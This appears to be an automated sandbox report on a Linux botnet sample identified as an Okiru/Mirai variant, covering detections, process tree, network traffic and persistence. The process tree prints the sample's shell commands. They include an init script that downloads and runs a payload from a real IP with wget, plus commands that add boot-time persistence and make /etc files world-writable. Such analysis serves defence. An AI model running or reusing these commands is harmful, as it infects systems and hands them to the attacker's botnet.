Edit tour

Linux Analysis Report
x86_32.nn.elf

Overview

General Information

Sample name:	x86_32.nn.elf
Analysis ID:	1580339
MD5:	3f1efbfbb79821f4bd17c6a3eff17aa6
SHA1:	a5dfcdc1874352b921f819cd6f39beef6f7b3c79
SHA256:	97cbb9e7d92cfaeb3173bc135b4459d4b91d1b5cb69dd7d61ee830c239545565
Tags:	elfuser-abuse_ch
Infos:

Detection

Okiru

Score:	84
Range:	0 - 100
Whitelisted:	false

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Okiru

Drops files in suspicious directories

Machine Learning detection for sample

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using System V runlevels

Sample tries to set files in /etc globally writable

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample tries to set the executable flag

Writes shell script file to disk with an unusual file extension

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580339
Start date and time:	2024-12-24 10:42:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	x86_32.nn.elf
Detection:	MAL
Classification:	mal84.spre.troj.evad.linELF@0/9@2/0

Runtime Messages

Command:	/tmp/x86_32.nn.elf
PID:	5444
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

x86_32.nn.elf (PID: 5444, Parent: 5368, MD5: 3f1efbfbb79821f4bd17c6a3eff17aa6) Arguments: /tmp/x86_32.nn.elf

x86_32.nn.elf New Fork (PID: 5454, Parent: 5444)

sh (PID: 5454, Parent: 5444, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable custom.service >/dev/null 2>&1"

sh New Fork (PID: 5466, Parent: 5454)

systemctl (PID: 5466, Parent: 5454, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable custom.service

x86_32.nn.elf New Fork (PID: 5483, Parent: 5444)

sh (PID: 5483, Parent: 5444, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"

sh New Fork (PID: 5484, Parent: 5483)

chmod (PID: 5484, Parent: 5483, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/system

x86_32.nn.elf New Fork (PID: 5485, Parent: 5444)

sh (PID: 5485, Parent: 5444, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"

sh New Fork (PID: 5486, Parent: 5485)

ln (PID: 5486, Parent: 5485, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/system /etc/rcS.d/S99system

x86_32.nn.elf New Fork (PID: 5487, Parent: 5444)

sh (PID: 5487, Parent: 5444, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh"

x86_32.nn.elf New Fork (PID: 5488, Parent: 5444)

sh (PID: 5488, Parent: 5444, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1"

sh New Fork (PID: 5489, Parent: 5488)

chmod (PID: 5489, Parent: 5488, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/sh

x86_32.nn.elf New Fork (PID: 5490, Parent: 5444)

sh (PID: 5490, Parent: 5444, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"

sh New Fork (PID: 5491, Parent: 5490)

mkdir (PID: 5491, Parent: 5490, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir -p /etc/rc.d

x86_32.nn.elf New Fork (PID: 5492, Parent: 5444)

sh (PID: 5492, Parent: 5444, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1"

sh New Fork (PID: 5493, Parent: 5492)

ln (PID: 5493, Parent: 5492, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/sh /etc/rc.d/S99sh

x86_32.nn.elf New Fork (PID: 5494, Parent: 5444)

x86_32.nn.elf New Fork (PID: 5496, Parent: 5494)

udisksd New Fork (PID: 5453, Parent: 802)

dumpe2fs (PID: 5453, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

systemd New Fork (PID: 5481, Parent: 5480)

snapd-env-generator (PID: 5481, Parent: 5480, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

udisksd New Fork (PID: 5506, Parent: 802)

dumpe2fs (PID: 5506, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

udisksd New Fork (PID: 5562, Parent: 802)

dumpe2fs (PID: 5562, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
x86_32.nn.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
x86_32.nn.elf	Linux_Trojan_Gafgyt_5bf62ce4	unknown	unknown	0xe7a8:$a: 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D
x86_32.nn.elf	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x4988:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1 0x4c5b:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1 0x5945:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
x86_32.nn.elf	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x5a40:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
x86_32.nn.elf	Linux_Trojan_Mirai_5f7b67b8	unknown	unknown	0xf3ab:$a: 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C
x86_32.nn.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xa842:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
x86_32.nn.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xe3fe:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
x86_32.nn.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xcb69:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
x86_32.nn.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xa812:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 4 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5444.1.0000000008048000.000000000805b000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5444.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Gafgyt_5bf62ce4	unknown	unknown	0xe7a8:$a: 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D
5444.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_fa3ad9d0	unknown	unknown	0x4988:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1 0x4c5b:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1 0x5945:$a: CB 08 C1 CB 10 66 C1 CB 08 31 C9 8A 4F 14 D3 E8 01 D8 66 C1
5444.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x5a40:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5444.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_5f7b67b8	unknown	unknown	0xf3ab:$a: 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C
5444.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xa842:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5444.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xe3fe:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5444.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xcb69:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5444.1.0000000008048000.000000000805b000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xa812:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Process Memory Space: x86_32.nn.elf PID: 5444	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Click to see the 5 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: x86_32.nn.elf

ReversingLabs: Detection: 21%

Machine Learning detection for sample

Source: x86_32.nn.elf

Joe Sandbox ML: detected

Source: x86_32.nn.elf

String: getinfo xxx/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%s/data/local/tmp//var/run/home/usr/bin/var/tmpsize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.2342surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/.socket/proc/%d/mountinfo/ /proc-altered/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnethttpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginnfstftpmallocwaitpidw/etc/motd%s

Source: global traffic

TCP traffic: 192.168.2.13:44546 -> 94.156.227.234:38242

Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: x86_32.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, sh.30.dr, bootcmd.12.dr, custom.service.12.dr	String found in binary or memory: http://94.156.227.233/
Source: x86_32.nn.elf, 5444.1.00000000ffae6000.00000000ffb07000.rw-.sdmp	String found in binary or memory: http://94.156.227.233/lol.sh
Source: x86_32.nn.elf	String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s

System Summary

Malicious sample detected (through community Yara rule)

Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: getinfo xxx/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%s/data/local/tmp//var/run/home/usr/bin/var/tmpsize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.2342surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/.socket/proc/%d/mountinfo/ /proc-altered/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnethttpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpy

Source: ELF static info symbol of initial sample

.symtab present: no

Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: x86_32.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 reference_sample = 4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ffc398303f7208e77c4fbdfb50ac896e531b7cee3be2fa820bc8d70cfb20af3, id = 5bf62ce4-619b-4d46-b221-c5bf552474bb, last_modified = 2021-09-16
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5f7b67b8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 6cb5fb0b7c132e9c11ac72da43278025b60810ea3733c9c6d6ca966163185940, id = 5f7b67b8-3d7b-48a4-8f03-b6f2c92be92e, last_modified = 2021-09-16
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5444.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26

Source: classification engine

Classification label: mal84.spre.troj.evad.linELF@0/9@2/0

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/x86_32.nn.elf (PID: 5444)

File: /etc/profile

Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/x86_32.nn.elf (PID: 5444)	File: /etc/rc.local	Jump to behavior
Source: /usr/bin/ln (PID: 5486)	File: /etc/rcS.d/S99system -> /etc/init.d/system	Jump to behavior
Source: /usr/bin/ln (PID: 5493)	File: /etc/rc.d/S99sh -> /etc/init.d/sh	Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/x86_32.nn.elf (PID: 5444)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5484)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5489)	File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5283/cmdline	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5540/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5562/status	Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 5496)	File opened: /proc/5520/status	Jump to behavior
